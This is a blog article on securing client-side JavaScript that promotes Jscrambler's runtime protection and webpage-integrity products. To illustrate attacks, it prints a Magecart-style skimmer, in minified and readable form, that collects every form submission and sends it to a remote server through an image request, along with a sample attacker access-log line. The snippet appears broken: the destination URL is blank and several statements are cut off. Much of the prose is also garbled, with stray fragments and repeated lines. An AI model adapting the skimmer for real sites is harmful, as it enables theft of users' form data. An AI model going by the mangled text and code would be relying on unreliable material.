Best Practices for Writing Secure JavaScript Code

Emma Delaney
8 min readNov 22, 2023

Improve client-side security with our best practices for protecting client-side JavaScript applications.

JavaScript is a resourceful programming language tool . It’s all about flexibility and gives you the power you need to do whatever you want with it. The dynamic nature of JavaScript has made it the de facto browser language and most popular programming language in the world.

One of the most popular useful features of JS is immediate analysis. This means that the browser executes the code while downloading the content, which obviously has its advantages. However, with this level of freedom also comes responsibility.

Learn more about JavaScript security risks with our best practices and tips, and learn how to protect yourself from JavaScript risks Security Policy. Protect the code. We will only cover UI code that runs in the browser. If you’re interested, check out our tutorial on securing Node.js applications.

How the browser works is JavaScript here?

Imagine all the steps needed for a browser. First you need to download the page and start scanning. The browser does not wait for everything to download. You can download and parse the page at the same time.

JavaScript blocks rendering, which has a big advantage at runtime. This means that the browser stops parsing, executes JavaScript first, and then continues, which provides flexibility in using this programming language and opens the code to a variety of possibilities.

Read More: What Are The Advanced JavaScript Functions To Improve Code Quality?

The risks of JavaScript

1. Debugging and Manipulation

Application security guides like this one from OWASP highlight the threats posed by reverse engineering and manipulation of application source code, especially for applications that handle sensitive data or perform critical operations.

This is the case for JavaScript-based applications where these risks can be exploited in the form of various attacks, such as: B. Theft of intellectual property, automated misuse, hacking, and data exfiltration.

Discover more opportunities, threats, and solutions for enterprise JavaScript on our blog.

Discover more opportunities, threats, and solutions for enterprise JavaScript on our blog.

Regulations and standards such as Since NIST and ISO 27001 also mention the risks of unprotected source code, they recommend that organizations implement rigorous control procedures to prevent them from suffering the consequences of possible attacks.

To illustrate these risks, consider the following code snippet:

<div id="hack-target"></div>
<button>Set Value</button>

document.querySelector('button').addEventListener('click', setValue);

function setValue() {
var value = '2';
document.getElementById('hack-target').innerText = value;

This declares a target in HTML and event log. When you click the button, the callback is triggered.

With client-side JavaScript, you can set a breakpoint right where you set the value. This breakpoint is reached exactly when the event is triggered.

The value specified by var value = ‘2’; can change at will. The debugger stops execution and allows a person to modify the page. This feature is useful during debugging and in this case the browser does not generate flags.

When the debugger stops execution, it has the ability to “break the execution”. Even page rendering.

Debugging is part of the browser tools, so everyone can access it.

To see this technique in action, view this code on the available Code Pen. Below is a screenshot of

We know this feature is great for debugging JavaScript, but what impact can it have on the security of your JavaScript code?

Just as anyone can use the debug tool for legitimate purposes, an attacker can use this functionality to modify JavaScript at runtime. The attacker can hit a breakpoint, modify the DOM, and inject arbitrary JavaScript into the console.

This type of attack can be used to exploit client-side vulnerabilities . Page. The attacker can modify data, hijack the session, and make arbitrary changes to the page’s JavaScript, thus compromising the security of the original code.

An attacker can directly modify the code, dynamically change the contents of memory, modify or replace the system APIs used by the application, or even modify data and application resources. . This could provide the attacker with a direct opportunity to compromise the intended use of the software for personal or financial gain.

For example, if Web Developer Tools is open, anyone can go to the Console tab and type:

document.querySelector('button').addEventListener('click', function() {

Next from this When the event is triggered, this change in JavaScript is activated.

Read Also: How ChatGPT and Generative AI Can Transform the Way You Run Your Business

2. Data exfiltration and other client-side attacks

In addition to the security risks of attackers targeting the JavaScript source code itself, we must consider the dangers of arbitrary JavaScript execution in the browser.

We have seen a growing increase in web supply chain attacks, such as the Magecart attacks, that flood the web and exploit the client-side to exfiltrate data. To put this into perspective, take a look at the following example.

Suppose your CDN and the jQuery script you have on your web integration site are compromised in one way or another it will be changed. Add the following snippet:

!function(){document.querySelectorAll("form").forEach(function(a){a.addEventListener("submit",function(a){var b;if(! null;b=new FormData(;var d="";for(var e of b.entries())d=d+"&"+e[0]+"="+e[1];return(new Image).src=""+d.substring(1),!0})})}();

You probably won’t notice this change and your site will spread malware.

Now let’s try a more readable version of the same fragment:

We can understand the logic as follows:

! function() {
document.querySelectorAll("form").forEach(function(a) {
a.addEventListener("submit", function(a) {
var b;
if (! return null;
b = new FormData(;
var d = "";
for (var e of b.entries()) d = d + "&" + e[0] + "=" + e[1];
return (new Image).src = "" + d.substring(1), !0

For each form on the page.

A submit event handler is added, so this when triggered.

The form data is collected and rewritten using the query string format.

which is then added to the new source URL of the image resource.

Every time a form is submitted, the same data to a remote server ( requesting a supposed image resource.

The attackers then become owners of it. receives data in its access log: - - [13/Mar/2017:15:26:14 +0100] "GET /? HTTP/1.1" 200 4 "" "Mozilla/5.0 (Macintosh; In      tel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"

And as a result, your site’s user data will silently fall directly into the hands of attackers, even without any breach of your servers. That’s why web supply chain attacks pose such a significant threat today, with regulations like GDPR, CCPA, and HIPAA imposing heavy fines for user data breaches.

How to secure client-side JavaScript

1. Protecting JavaScript Code

Given the flexibility and dynamic nature of the Web, the best option for protecting JavaScript code from potential attackers is to add runtime protection.

This security layer protects JavaScript code during execution to prevent tampering, providing the strongest protection for client-side applications.

Runtime application self-protection is a security technology built into or associated with an application or application execution environment and can monitor and detect application execution and prevent attacks. in real time.

Once JavaScript reaches the browser, it is no longer enabled. Nothing completely protects its execution. Runtime protection protects against debugging and code manipulation attacks that occur only at runtime. This includes attacks that modify the application when it is offline.

A good runtime security solution also obfuscates JavaScript code so that an attacker cannot modify it. Find the solution yourself or avoid it.

All these layers of protection are intended to ensure that JavaScript code runs safely on the web despite the best efforts of developers . tamper with it.

Don’t miss: Digital Marketing for HVAC Companies In USA: A Complete Guide

A powerful runtime security solution also sends notifications when an attacker attempts to bypass your code. This allows app owners to respond and take action, such as logging out the user.

Jscrambler Integrity Code

Jscrambler Code Integrity provides a runtime security solution that protects applications from runtime attacks. It combines anti-debugging and anti-tampering techniques with other self-defense features to provide active protection for JavaScript applications. In detail:

Anti-Debugging detects the use of debugging tools (e.g. DevTools, Firebug) and blocks the debugger to stop the reverse engineering process.

This is achieved through code traps and dead objects that prevent debugging tools from working and increase the call stack, preventing the user from controlling the control flow of the application.

Reducing control flow, as the name suggests, flattens the program flow and adds obscure predicates and irrelevant code clones .

Any natural conditional construction that makes the code easier to read is gone.

The manipulation detects changes in the code and reacts accordingly. For example, if you add or remove a semicolon from a protected function using Jscrambler’s self-defense feature, this change will be detected and the code will stop working.

Apply both techniques. With code obfuscation, it is impossible for an attacker to modify your application.

You can start protecting your client of your app with our free trial.

2. Client-Side Security

The JavaScript development process often relies on the use of open source components that speed up development. Most websites run multiple third-party scripts (chatbots, analytics, ads, etc.) at runtime.

Using these snippets of code from external sources increases the attack surface for client-side attacks.

Since traditional security systems (server-side security, network security) do not take target the client side. To address these growing threats, companies need full visibility and control over the client side of their website.

Jscrambler Webpage Integrity

Jscrambler Webpage Integrity provides comprehensive client-side protection against client-side attacks such as Magecart web skimmers and data exfiltration. More precisely:

Complete real-time observation of the behavior of any third-party script.

This means knowing if additional code is loaded or inserted, if data is sent, if data is accessed from forms, cookies and local storage, if the DOM is changed, etc.

A complete inventory of all these website scripts and the network requests they make.

A powerful rules engine that allows flexible and granular control of the behavior of each script and automatic blocking of bad behavior such as: B. manipulation of other code, allows the website to access the “password” field of a registration form, access cookies or local storage, contact certain domains, etc.

To get started with Jscrambler Webpage Integrity, request a free inventory report for your website. This report provides a summary of all third-party scripts running on your site and their behavior, broken down into useful security information.


Because JavaScript is present on most of the Web (including sites that handle extremely sensitive user data) and is, by its nature , a dynamic language for the Web. Designed to be flexible, the system raises additional security concerns.

Like any double-edged sword, you need to handle it with caution. responsibility. To protect your JavaScript code, you need to consider what happens at runtime, as attackers can target exposed source code and inject malicious JavaScript code via third-party scripts.

If you can successfully address these two dimensions, you will be one step ahead of attackers and on the right path to compliance.



Emma Delaney

Dubai Based Software Engineer & digital marketing manager Channel :